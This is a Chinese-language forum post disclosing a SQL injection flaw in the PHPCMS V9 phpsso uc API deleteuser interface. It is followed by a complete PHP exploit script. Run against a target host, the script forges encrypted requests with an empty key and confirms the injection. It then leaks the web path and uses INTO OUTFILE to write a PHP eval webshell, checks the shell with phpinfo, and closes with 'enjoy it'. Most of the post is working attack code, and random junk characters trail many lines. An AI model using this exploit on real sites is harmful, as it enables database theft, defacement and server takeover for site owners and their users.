找回密码
 立即注册
查看: 2658|回复: 0
打印 上一主题 下一主题

PHPCMS V9 uc API SQL注入漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-9 01:22:59 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
PHPCMS V9版于2010年推出,是应用较为广泛的建站工具。第三方数据显示,目前使用PHPCMS V9搭建的网站数量多达数十万个,包括联合国儿童基金会等机构网站,以及大批企业网站均使用PHPCMS V9搭建和维护。# c/ q; o0 X: V" f0 O& t1 e8 d) u" ^
% q+ n0 q+ k( B  S: c
所有使用PHPCMSV9搭建的网站均存在SQL注入漏洞,可能使黑客利用漏洞篡改网页、窃取数据库,甚至控制服务器。未启用ucenter服务的情况下,uc_key为空,define('UC_KEY', pc_base::load_config('system', 'uc_key'));deleteuser接口存在SQL注入漏洞。若MYSQL具有权限,可直接get webshell。8 O& b$ E  E# T: ]

0 A% z( @$ U% ]0 N! q6 @4 ~漏洞分析:
9 d; R6 x( e/ B3 @* C1.未启用ucenter服务的情况下uc_key为空
9 q0 A0 y+ d3 y8 Q$ y5 @/ odefine('UC_KEY', pc_base::load_config('system', 'uc_key'));
# n0 T8 D. H3 q/ A4 P& K: u2. deleteuser接口存在SQL注入漏洞,UC算法加密的参数无惧GPC,程序员未意识到$get['ids']会存在SQL注入情况。2 U9 W+ k4 U  @
    public function deleteuser($get,$post) {6 r7 k1 n% R7 {( w* }1 n
        pc_base::load_app_func('global', 'admin');
8 d  U: S2 }7 U        pc_base::load_app_class('messagequeue', 'admin' , 0);
4 f: v0 `2 u4 K/ e) e+ W        $ids = new_stripslashes($get['ids']);
& J9 G: E: |* j! m  x7 b. k  h" O- {        $s = $this->member_db->select("ucuserid in ($ids)", "uid");
; ^) C. ^/ }4 z0 FSQL语句为* }( ~, W- R! |( p  [1 n7 m) M7 i
SELECT `uid` FROM `phpcmsv9`.`v9_sso_members` WHERE ucuserid in ($ids)
4 W3 z  P" k9 n# Y: m0 n! E5 E' `6 e3 R
利用代码,随便拼了个EXP,找路径正则写得很挫有BUG,没有注其他表了,懒得改了,MYSQL有权限的话直接get webshell" b$ P+ V3 q4 \: C  o; u
<?php  B( N' K5 Z  y# Q# j/ g7 ]9 A! n
print_r('
+ y2 F. x% ]: j3 a& ~---------------------------------------------------------------------------
! q2 B% M- U) n  QPHPcms (v9 or Old Version) uc api sql injection 0day
: r5 f/ U/ T* x4 w. b! M5 X( |0 [( |by rayh4c#80sec.com
0 O* p: ?* I8 R# X& }! H---------------------------------------------------------------------------
) \* E  o7 }; @');
3 c( y9 n- ?' u3 V( q. |* {
5 }* k/ H' C' N# y0 c7 z' [if ($argc<3) {' O5 L# S1 c. j& X1 o+ Y* O
    print_r('8 {: F8 t) o8 w6 m% `
---------------------------------------------------------------------------: R+ ~; T$ X$ y' ~, L8 f8 G: P- K" L
Usage: php '.$argv[0].' host path OPTIONS
: A, v- H; ~/ d- Ehost:      target server (ip/hostname)
. Y: p* c/ v  k* b3 `4 [* ^( vpath:      path to phpcms; J; X3 h' H8 j+ {& f6 R# F
Options:& Y8 I3 y/ f, j( v" `; t" S6 s, w
-p[port]:    specify a port other than 80
) e) J, S# ~' i  F& M5 x -P[ip:port]: specify a proxy
: o& M' Q7 }- A' s' i) y6 WExample:
& j5 d, v7 z/ iphp '.$argv[0].' localhost /1 f) D' N- A  h  w2 j
php '.$argv[0].' localhost /phpcms/ -p81
9 P& u0 a$ M/ q4 m7 @9 Wphp '.$argv[0].' localhost /phpcms/ -P1.1.1.1:80
' m, ^# }8 W0 W! ?$ y  L3 l; o---------------------------------------------------------------------------
! ^8 ~2 `: ?4 t5 M');
7 N0 V5 d" N# t9 f7 x/ w    die;: H0 f: h: D8 O% ~  v, B* r" g
}
0 J7 v1 Q' x; ]# _" B# B4 I* g; m; r0 S. M6 b* v8 g, u5 v  G
error_reporting(7);
+ w( f3 Z9 N# ]! I7 |8 C% Kini_set("max_execution_time",0);
  g9 P& X  b4 {. m0 C/ lini_set("default_socket_timeout",5);$ n) y) U; t8 R; f/ `/ \7 }' u

+ k" P5 D/ c/ }) s# V6 `& L- Ffunction quick_dump($string)
0 o: j! y, L) k7 h0 g2 e{/ L  Q% @8 Q8 I$ L
  $result='';$exa='';$cont=0;
) v& I- S7 ^% P1 n% A* n  for ($i=0; $i<=strlen($string)-1; $i++)
4 y/ U& E9 S; d! n  K  {. ?! @% N2 X; |/ x  X; z- T
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))
- }' F# @2 C8 Y+ R; h6 R* n   {$result.="  .";}! {5 b+ ~! y4 U" Y
   else9 U# r/ y9 i( P+ Z2 `
   {$result.="  ".$string[$i];}
7 m+ N0 W" ~. y   if (strlen(dechex(ord($string[$i])))==2)
( P7 p7 Y5 ]3 E! g   {$exa.=" ".dechex(ord($string[$i]));}: L/ N) w$ [' R, A
   else
7 z) ]* `6 f6 a& N/ B8 p! W   {$exa.=" 0".dechex(ord($string[$i]));}
4 Z4 z- i; w6 s$ S   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}
1 f; X, }) K& Q# d  }5 y2 r' E( i1 t; [* F2 h) v7 z
return $exa."\r\n".$result;
8 |# ]* T5 q" F! n) `- _) _9 L5 k}# H  s! P. @0 v7 S# H  M
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';
" d5 v, x4 P! Q% P% ]: ]& e) u) h& U) u5 E. O
function send($packet)
: c$ ?- r' I, c+ I, t* K$ g% \{
- [. d) k, t5 Z  g0 n, u  global $proxy, $host, $port, $html, $proxy_regex;
7 G) R! H" E# B  if ($proxy=='') {3 i8 I0 ]! ^: A  o( H4 E4 H
    $ock=fsockopen(gethostbyname($host),$port);
4 T- c6 x! O- Z: m5 _4 V    if (!$ock) {$ b0 u8 p8 P# j6 p
      echo 'No response from '.$host.':'.$port; die;
/ u/ E7 ?  K  I. {$ f# b. E' r5 Z# q    }
0 a1 t" U9 I! h* L! y' U6 q3 _  }: U. W1 [, ^) o" ^. H% H
  else {
' C' J( j+ \0 S1 m; f        $c = preg_match($proxy_regex,$proxy);
+ m" t  `- y/ R8 A8 T. w1 n    if (!$c) {" z# l& i8 C' P) N* h% e
      echo 'Not a valid proxy...';die;$ X2 k/ Z$ Z: M
    }1 y2 Q0 I2 M  C" N
    $parts=explode(':',$proxy);- B9 T' J% e. @4 B3 u
    $parts[1]=(int)$parts[1];
7 f2 o" |. k  a% ?5 B3 o  r, ^    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
! c/ }) P- n- C6 ]2 |9 c. @6 f    $ock=fsockopen($parts[0],$parts[1]);8 z1 f# W3 l- g8 M& e* S
    if (!$ock) {
) H* n) S, Q# X      echo 'No response from proxy...';die;
  E. E4 a0 D! E; P& A; r        }
4 E; W% q* d$ w* ]# v& K* V  }7 r) C# |9 r- m  K2 ^; x" ?- y
  fputs($ock,$packet);
' m9 H! W, h* _& _  T2 S; s  if ($proxy=='') {
5 F, e0 }2 v0 |% _+ {    $html='';" H* r% G( }' l6 X: I
    while (!feof($ock)) {1 d8 |( X. ^2 i, g4 a% L
      $html.=fgets($ock);
; G6 {5 Y3 l+ y) ~2 M3 G    }
- i* r" L+ c$ y8 M& }+ x  }8 E( K# v, Y! K% b. d9 Q
  else {9 S2 q' a- f! w+ k. c$ T% f9 x7 [
    $html='';
+ W" @3 V8 V# e6 C& C    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
* @9 |: w% f! j) O8 J6 E      $html.=fread($ock,1);
: a/ Q2 G1 I9 G$ H    }
* m! H1 e9 ]4 I) B  T2 J' H  }  x' W- L+ q5 X
  fclose($ock);
) ^- U9 o& q' |; P6 J9 i+ e}3 w# t! w" J. A8 x( K

- u2 o; ?( a" n! y$host=$argv[1];0 w; F+ z- h4 J, N+ N$ n( ]- I
$path=$argv[2];
5 r5 `9 t5 H) u5 C$port=80;
9 O9 Q: e/ n  M$proxy="";7 Y2 V- C$ ?: ~2 j2 R$ N: L/ f# E4 u
for ($i=3; $i<$argc; $i++){. H+ O0 s  D9 N2 H
$temp=$argv[$i][0].$argv[$i][1];6 E$ q0 R% F  l- S) L! w. P
if ($temp=="-p")
" c! B" ~! P9 y6 A{( I9 C" X& E1 B
  $port=(int)str_replace("-p","",$argv[$i]);
8 h& I7 A* P" d  R; c' j0 ~}
3 y: v6 }; ~; G& L8 r. lif ($temp=="-P")
$ U  o( T# g2 |' \2 A0 _4 W{
  I8 O. }% Q, \, J6 G! c  $proxy=str_replace("-P","",$argv[$i]);$ W" @7 \  H- v* G
}! I7 }" ~7 l7 i% M
}+ e# g$ o2 d6 r6 |9 q) A) B
+ A6 T9 C, o% s2 t* }! B# `) y9 d
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}7 t* ^  a3 W! m9 {; h- k
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}
+ x& k+ l* P3 ~2 }, P% z. n$ S( a7 y% \& Y  O
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
( W0 P! `$ E7 u( V
2 v( L& J# J4 O/ A6 S- _4 q$ `4 [    $ckey_length = 4;
: j0 T# J& J  z0 y( T0 o/ Y3 D1 t- N' f/ L9 \0 q+ W  u# k
    $key = md5($key ? $key : '');; _0 h* Y8 G3 n% N3 i' R
    $keya = md5(substr($key, 0, 16));9 q& m: E) S' [$ r  E( g
    $keyb = md5(substr($key, 16, 16));
3 ~. U  W3 F  Y9 Z" \- q    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
# c+ k' O" `# O* Z
2 H$ `' e/ m4 [' R- w7 M0 C    $cryptkey = $keya.md5($keya.$keyc);" H2 Q$ ~* Q9 S* z# T
    $key_length = strlen($cryptkey);  y$ ?# V& F! u5 Y, e" Y

+ T1 @0 q* T" s' |+ q) Z8 Q    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
) e, ?7 I. O9 c    $string_length = strlen($string);
0 Y; C, f0 f5 H9 W. y
9 x5 Y: d; x& }$ T2 r* U4 b    $result = '';8 l: \8 r, m6 F4 k0 _; [
    $box = range(0, 255);
  p$ U7 h, }2 V  ]
1 U) M, ~% \% @' h8 X6 |* F    $rndkey = array();6 k! w) y) F7 d# f+ w8 N
    for($i = 0; $i <= 255; $i++) {3 G, u, U/ u! l& g
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
4 L' A1 m; r) y/ G    }
/ v& e# S. i* I1 [. s* |0 g9 d3 X7 \, ~3 e  c# E- B8 q
    for($j = $i = 0; $i < 256; $i++) {
3 |0 {- J0 n6 e2 W' g: ?        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
3 K- t4 j" g& [, Q; t% I        $tmp = $box[$i];+ O$ c5 O% Q0 B, U% [) S
        $box[$i] = $box[$j];
) `9 @5 y6 m5 p7 A, V        $box[$j] = $tmp;) y+ m7 Z. i- U+ B2 O
    }; G2 Q/ C# }) g: t" ]
6 ?- p4 Z  {, k4 U0 w+ e# \
    for($a = $j = $i = 0; $i < $string_length; $i++) {" e- p7 i8 F+ \
        $a = ($a + 1) % 256;
+ ~9 Q& U  ]9 c% Q4 Q        $j = ($j + $box[$a]) % 256;
6 |9 N$ I. O$ l* k* N! l" u4 h        $tmp = $box[$a];
  I6 U8 U& T. G9 ~        $box[$a] = $box[$j];& W. _2 ~; M9 M. B5 Q3 N8 h4 \4 V
        $box[$j] = $tmp;2 \5 T- ?2 }- q
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));  J: @7 h, C3 U* |
    }* v" Y4 @* ~9 E% Z3 H% x
* @# i9 C: i/ B) Y2 @
    if($operation == 'DECODE') {+ X: ]' w7 i) h
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
% s) I6 t* o; B' U  S5 M            return substr($result, 26);
) Y' F$ h/ _. z1 J+ R        } else {
! J  L' t+ V: b' M            return '';
8 n5 F- K7 I, {        }
0 {; `. \. m4 r* b; K9 P    } else {
0 S7 y1 j0 j0 `* P4 I* ]9 Y& T        return $keyc.str_replace('=', '', base64_encode($result));
) l2 G  J. n9 m3 a. }9 L    }. K7 M3 e6 S& H
4 v. w& N: s" r' f
}) J4 M1 u7 ^$ J. G0 F! l9 K  Y

# q4 j7 \" Q: f2 W5 O$SQL = "time=999999999999999999999999&ids=1'&action=deleteuser";
1 o% a! V+ G& o: O! R/ V- z8 ?$SQL = urlencode(authcode($SQL, "ENCODE", ""));
# \! f) Q: d# W9 M8 j  l9 jecho "[1] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";% s+ a7 ~3 C' o6 b7 K8 q0 ^5 P
$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";9 r3 f* k; ?8 Z6 J, A  f& b& a: t
$packet.="User-Agent: Mozilla/5.0\r\n";  Y6 i" h/ v9 M- _  q* L' J
$packet.="Host: ".$host."\r\n";" J1 I7 i+ V8 w6 \" h, V
$packet.="Connection: Close\r\n\r\n";
9 b1 l" u" {2 H9 S+ b9 }: v8 psend($packet);3 a) q; R3 b# Y
if(strpos($html,"MySQL Errno") > 0){& X  z) Z9 w; E7 v
echo "[2] 发现存在SQL注入漏洞"."\n";
" P/ S0 ]% g2 a5 @! [echo "[3] 访问 http://".$host.$p."phpsso_server/api/logout.php \n";) Z- D& b4 h* H2 S
$packet ="GET ".$p."phpsso_server/api/logout.php"." HTTP/1.0\r\n";$ _' y' g7 L: J8 @$ Z% G$ E
$packet.="User-Agent: Mozilla/5.0\r\n";3 ~% O! \, _2 G/ `& A# B4 h5 }
$packet.="Host: ".$host."\r\n";4 e2 x0 D5 K" C( O4 v1 z
$packet.="Connection: Close\r\n\r\n";9 o. N% e" C1 e6 M8 C# F; \8 K
send($packet);
  s0 I+ F2 a; `- f8 N; tpreg_match('/[A-Za-z]?[:]?[\/\x5c][^<^>]+[\/\x5c]phpsso_server[\/\x5c]/',$html, $matches);1 x  v& t! Y0 `6 v) D0 ^
//print_r($matches);7 ?1 U9 j& r" H' P9 L
if(!empty($matches)){
" U6 h5 j0 P% r, O: |/ A( Gecho "[4] 得到web路径 " . $matches[0]."\n";6 @3 i7 ]% @/ h8 U8 a
echo "[5] 尝试写入文件 ". str_replace("\\","/",$matches[0]) ."caches/shell.php"."\n";
4 S& n; `' S( N& s5 o$SQL = "time=999999999999999999999999&ids=1)";3 R) O0 x4 c! K7 Y0 D" p- [; P
$SQL.=" and 1=2 union select '<?php eval($"."_REQUEST[a]);?>' into outfile '". str_replace("\\","/",$matches[0]) ."caches/shell.php'#";
8 I: i/ O5 E& }, ?6 C$SQL.="&action=deleteuser";/ @' e1 t3 J  |1 s- `7 w! z
$SQL = urlencode(authcode($SQL, "ENCODE", ""));
7 p$ E5 A; n6 |echo "[6] 访问 http://".$host.$p."phpsso_server/api/uc.php?code=".$SQL."\n";
: l6 }' Y0 D  k9 d# x$packet ="GET ".$p."phpsso_server/api/uc.php?code=".$SQL." HTTP/1.0\r\n";; g' T* n: K8 o6 W$ }8 v* y6 q
$packet.="User-Agent: Mozilla/5.0\r\n";
" }0 ^% ^6 K* E; l/ }& g1 l7 u$packet.="Host: ".$host."\r\n";
  \5 ^8 H# V' q- Y$ ?! ^$packet.="Connection: Close\r\n\r\n";
! D9 K5 ?( Z1 s8 w; z! k3 U$ I' lsend($packet);* t1 Y0 w0 C1 Q9 y% H
if(strpos($html,"Access denied") > 0){$ q' |9 j% v% e9 ~
echo "[-] MYSQL权限过低 禁止写入文件 ";. [" b0 g) y0 ?6 l9 x
die;# T) R- ?2 G: R& a/ P5 G
}
3 K) o- V/ N* `' }* pecho "[6] 访问 http://".$host.$p."phpsso_server/caches/shell.php"."\n";* M* ~% V( D2 G/ ~9 X2 c/ ^
$packet ="GET ".$p."phpsso_server/caches/shell.php?a=phpinfo(); HTTP/1.0\r\n";
1 G3 p0 n: a8 p6 [: T6 m" w$packet.="User-Agent: Mozilla/5.0\r\n";
. ]: b1 B6 [' [' B  q; Q$packet.="Host: ".$host."\r\n";
. z" I: q3 o& C* Z$packet.="Connection: Close\r\n\r\n";" B- B6 L% ^, ^* Q4 B. e. N
send($packet);
: z; E, C+ v' lif(strpos($html,"<title>phpinfo()</title>") > 0){5 r6 ]; Z7 D0 G- K  y
echo "[7] 测试phpinfo成功!shell密码是a ! enjoy it ";; _( m+ n  X" w
}/ F8 |' W. M4 }3 I- J
}else{  u' b- q! {6 B
echo "[-]未取到web路径 ";# x2 l; [3 [( i1 C# B$ ~7 z/ Q  Z
}
8 \, @7 c! V: n% I' p1 |}else{
& Z$ m8 y9 Y/ C9 Z/ decho "[*]不存在SQL注入漏洞"."\n";+ Y1 G0 r' j8 m" K- }$ }- b8 W
}
0 Q1 c# k( V) k
9 {8 [! r7 E! B: {" C6 [8 Y* ~?>3 u- S( j9 S3 `& Y* {" j7 H' Q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表